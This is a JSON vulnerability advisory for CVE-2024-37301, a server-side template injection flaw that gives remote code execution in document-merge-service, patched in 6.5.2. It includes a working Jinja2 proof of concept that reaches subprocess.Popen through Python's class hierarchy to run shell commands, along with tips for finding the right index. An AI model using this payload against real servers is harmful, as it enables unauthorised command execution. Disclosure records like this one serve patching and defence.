{"id":"CVE-2024-37301","aliases":["GHSA-v5gf-r78h-55q6","PYSEC-2026-1314"],"url":"https://o3.security/vulnerability/CVE-2024-37301","summary":"document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection","details":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)","published":"2024-06-11T18:34:38.374Z","modified":"2026-08-12T03:51:35.402785263Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"document-merge-service","fixedVersion":"6.5.2"}],"fix":{"url":"https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074","label":"adfinis/document-merge-service@a1edd39"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/37xxx/CVE-2024-37301.json"},{"type":"ADVISORY","url":"https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37301"},{"type":"FIX","url":"https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"},{"type":"PACKAGE","url":"https://github.com/adfinis/document-merge-service"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.402785263Z"}}